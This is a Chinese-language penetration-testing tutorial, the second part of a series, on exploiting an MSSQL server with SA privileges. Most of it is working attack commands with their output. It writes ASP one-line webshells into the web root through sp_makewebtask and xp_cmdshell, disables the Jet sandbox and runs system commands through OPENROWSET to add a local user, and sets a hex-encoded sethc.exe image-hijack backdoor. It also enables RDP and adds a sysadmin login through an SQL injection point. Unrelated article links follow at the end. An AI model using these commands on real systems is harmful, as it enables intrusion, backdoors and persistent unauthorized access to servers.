part3 MSSQL写文件

步骤1 sp_makewebtask写文件

因为是`SA`权限,如果目标服务器是web服务器,我们也不用去备份了,可以直接写个一句话木马进去到web目录。

在不知道web目录的情况下我们可以使用以下SQL语句来列目录:

`sp_makewebtask`拓展存储过程并不会列出目录下的文件,只会列出目录。

假设`c:\www\`为当前web目录,我们尝试使用以下语句来向该目录写一个名为`testwr.asp`的文件,文件内容是ASP类型的一句话木马:

exec sp_makewebtask 'c:\www\testwr.asp','select''<%execute(request("SB"))%>'' '

如上图可见,文件写入不成功,爆出了以下错误:

服务器: 消息 15281,级别 16,状态 1,过程 xp_makewebtask,行 1
SQL
Server 阻止了对组件 'Web Assistant Procedures' 的 过程'sys.xp_makewebtask'
的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Web Assistant
Procedures'。有关启用 'Web Assistant Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的
"外围应用配置器"。

由以上报错信息得知,其实是`xp_makewebtask`扩展存储过程被禁用,那么我们可以使用以下SQL语句恢复开启`xp_makewebtask`扩展存储过程:

exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

返回如下信息:

配置选项 'Web Assistant Procedures' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

如上SQL执行返回,提示命令执行成功,我们看看效果:

再执行SQL语句试试写文件:

exec sp_makewebtask 'c:\www\testwri.asp','select''<%execute(request("SB"))%>'' '

如上提示命令执行成功。

那么文件到底有没有写入成功呢,我们可以通过`xp_cmdshell`扩展存储过程执行`type`命令来验证文件内容:

exec master..xp_cmdshell 'type c:\www\testwri.asp'

如上图执行回显可见,一句话木马的代码是写进去了,但是也有一些杂乱的东西:

<TR><TH ALIGN=LEFT>n/a</TH></TR>
<TR><TD><TT><%execute(request("SB"))%></TT></TD></TR>
</TABLE>
(所影响的行数为 27 行)

步骤2 xp_cmdshell写文件

若服务器的`xp_cmdshell`扩展存储过程可用,则可以通过执行系统命名直接写文件:

exec master..xp_cmdshell 'echo ^<%eval request("pass")%^> >c:\www\update.asp'--

> 此处`echo`命令为windows写文件命令,`^`符号是为了避免`<、>`符号与系统命令元命令符号冲突。

命令执行成功之后即会写入`c:\www\update.asp`文件,内容为ASP类型的一句话木马。

那么命令执行之后我们可以通过以下语句来验证文件内容(`type`语句打印出文件内容):

exec master..xp_cmdshell 'type c:\www\update.asp'--

如上可见,一句话木马代码写入文件成功。

part4 沙盘模式提权

利用`jet.oledb`执行系统命令

默认情况下报错如下:

服务器: 消息 15281,级别 16,状态 1,行 1
SQL
Server 阻止了对组件 'Ad Hoc Distributed Queries' 的
STATEMENT'OpenRowset/OpenDatasource'
的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ad Hoc
Distributed Queries'。有关启用 'Ad Hoc Distributed Queries' 的详细信息,请参阅 SQL
Server 联机丛书中的 "外围应用配置器"。

启用Ad Hoc Distributed Queries:

exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure

得到如下返回信息:

配置选项 'show advanced options' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 'Ad Hoc Distributed Queries' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

试试关闭系统沙盒模式,它在注册表的位置是
`HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\Engine\SandBoxMode`
默认键值为`2`,即只在`Access`的模式下开启沙盒模式,对应的键值是

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

我们要将其设置为0就可以关闭系统沙盒模式了,通过SQL语句实现

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

然后利用`jet.oledb`执行系统命令whoami:

select
* from
openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select
shell("cmd.exe /c whoami")')

Expr1000                                              
---------------------
2296.0

(所影响的行数为 1 行)

然后再尝试执行系统命令:

select
* from
openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select
shell("cmd.exe /c net user test 123456 /add")')

此处系统命令执行无回显,我们这样验证账户是否添加上去:

exec master..xp_cmdshell 'net user test'--

如下恢复沙盘模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',2

再执行上述命令将会失败:

exec master..xp_cmdshell 'net user test'--

part5 注册表映像劫持提权

先来恢复写注册表的存储过程:

exec sp_addextendedproc xp_regwrite,'xpstar.dll'

一般如此执行来进行映像劫持:

exec
xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image
File Execution
Options\sethc.exe','debugger','REG_SZ','c:\windows\system32\cmd.exe'

实际上述语句不行,需要16进制编码,完成后如下:

exec
xp_regwrite
0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a,'c:\\windows\\system32\\taskmgr.exe'--

这段代码表示要劫持的程序为sethc.exe,只要运行文件名为sethc.exe的,不管在哪个文件夹下都会启动任务管理器(当然你可以直接把sethc.exe改成你要启动程序的路径 )

通过注册表开3389:

exec master..xp_cmdshell "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"--

返回如下:

output 
                                                                       
                                                                       
                                                                       
                                
-----------------------
正在安装 WMIC,请稍候。执行 (\\V5EST0RAB06\ROOT\CIMV2:Win32_TerminalServiceSetting.ServerName="V5EST0RAB06")->SetAllowTSConnections()

方法执行成功。

输出参数:
instance of __PARAMETERS
{
        ReturnValue = 0;
};
NULL
NULL
(所影响的行数为 9 行)

如上返回就是成功。
连接目标机,按下5次shift:

通过任务管理器调用cmd:

那我们在恢复扩展存储过程的时候如果出现`sp_addextendedproc`没找到的情况,如果不是删除了`xplog70.dll`,`SA`权限也能直接恢复
过程`SP_ADDextendedproc`,需要外联多句执行,注入点的情况下可以类似以下先添加一个数据库用户:

?id=1;exec master.dbo.sp_addlogin haco,lovehaco;--

?id=1;exec master.dbo.sp_addsrvrolemember haco,sysadmin;--

调出查询器 恢复过程`sp_addextendedproc` 如下:

use master
go
create procedure sp_addextendedproc
@functname nvarchar(517),
@dllname varchar(255)
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0)

然后再恢复存储过程就行了。

sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll

详述MSSQL服务在渗透测试中的利用 (下篇)的更多相关文章

  1. 详述MSSQL服务在渗透测试中的利用(上篇)

    前言: 致力于复现最实用的漏洞利用过程. 本文将带领大家学习以下内容: 学习使用`xp_cmdshell`扩展存储过程 学习调用`wscript.shell` 学习MSSQL写文件 学习沙盘模式提权 ...

  2. 详述MySQL服务在渗透测试中的利用

    本文作者:i春秋签约作家——Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...

  3. Windows-NTFS-ADS在渗透测试中的利用

    0.什么是ADS Windows:微软公司的一款视窗操作系统,其内核为WindowsNT. NTFS:WindowsNT环境的限制级专用文件系统. ADS:NTFS的系统特性,交换数据流(Altern ...

  4. (vshadow)Volume Shadow在渗透测试中的利用

    本文根据嘶吼学习总结出文中几种方式Vshadow包含在window SDK中,由微软签名. Vshadow包括执行脚本和调用支持卷影快照管理的命令的功能,这些功能可能会被滥用于特权级的防御规避,权限持 ...

  5. 反向代理在Web渗透测试中的运用

    在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...

  6. 渗透测试中的bypass技巧

    0x00 前言 许多朋友在渗透测试中因为遇到WAF而束手无策,本人应邀,与godkiller一同写下此文,希望能够对许多朋友的问题有所帮助. 此系列一共分为五篇文章,分别如下: 一.架构层绕过WAF ...

  7. Windows渗透测试中wmi的利用

    0x01 关于WMI WMI可以描述为一组管理Windows系统的方法和功能.我们可以把它当作API来与Windows系统进行相互交流.WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是W ...

  8. WMI在渗透测试中的重要性

    0x01 什么是wmi WMI可以描述为一组管理Windows系统的方法和功能.我们可以把它当作API来与Windows系统进行相互交流.WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是 ...

  9. python多线程在渗透测试中的应用

    难易程度:★★★ 阅读点:python;web安全; 文章作者:xiaoye 文章来源:i春秋 关键字:网络渗透技术 前言 python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天, ...

随机推荐

  1. 【WebService】使用JDK开发WebService(二)

    WebService的开发手段 1.使用JDK开发(1.6及以上版本) 2.使用CXF框架开发(工作中) WebService的组成 1.服务器端 2.客户端 使用JDK开发WebService a. ...

  2. mybatis学习四 mybatis的三种查询方式

    <select id="selAll" resultType="com.caopeng.pojo.Flower"> select * from fl ...

  3. canvas 实现圆环效果

    var race = document.getElementById('race'); var cxt = race.getContext('2d'); var ang = 0; var speed ...

  4. kbmmw 中JSON 中使用SQL 查询

    前面讲到了kbmmw 的JSON 对象操作,如何快速的查找JSON 中的值? 一种办法就是通过遍历的方法,其实在kbmmw 还有一种灵活的查询方式, 就是通过SQL 方式查询JSON 中的值.也就是说 ...

  5. Servlet------EL表达式

    EL表达式是: Expression Language.一种写法非常简介的表达式.语法简单易懂,便于使用..获取作用域的数据.... 对比: 传统方式获取作用域数据:                缺 ...

  6. springboot同时使用thymeleaf和jsp模板

    语言:javaEE 框架:springboot+thymeleaf.jsp模板引擎 背景:学习springboot过程中想同时使用thymeleaf和jsp访问(官方不建议) 步骤: 1)  在pom ...

  7. MFC单文档带窗体创建

    我用的vs05.先随便起个名字qwerty. 确定以后在左边最下面有一个生成的类,点击生成的类,把基类改成CFormView 最后点击完成就创建好了. 单文档的窗口不是后来创建后插入的,是在创建后就自 ...

  8. vue中的路由独享守卫的理解

    1.vue中路由独享守卫意思就是对这个路由有一个单独的守卫,因为他的守卫方式于其他的凡是不太同 独享守卫于前置守卫使用方法大致是一样的 在路由配置的时候进行配置, { path:'/login', c ...

  9. 第15章:MongoDB-聚合操作--聚合管道--$match

    ①$match 用于对文档集合进行筛选,里面可以使用所有常规的查询操作符. 通常会放置在管道最前面的位置,理由如下: 1:快速将不需要的文档过滤,减少后续操作的数据量 2:在投影和分组之前做筛选,查询 ...

  10. 解决Linux下IDEA无法使用ibus输入法的问题和tip乱码

    一:可以先按网上的配置/etc/profile里的输入法的一些参数,我是先配置了这些参数的,但是输入法还是没用,后来一直没管它了,今天用了一些方式可以了但不敢保证不需要先配置那些参数: 二:情况:开启 ...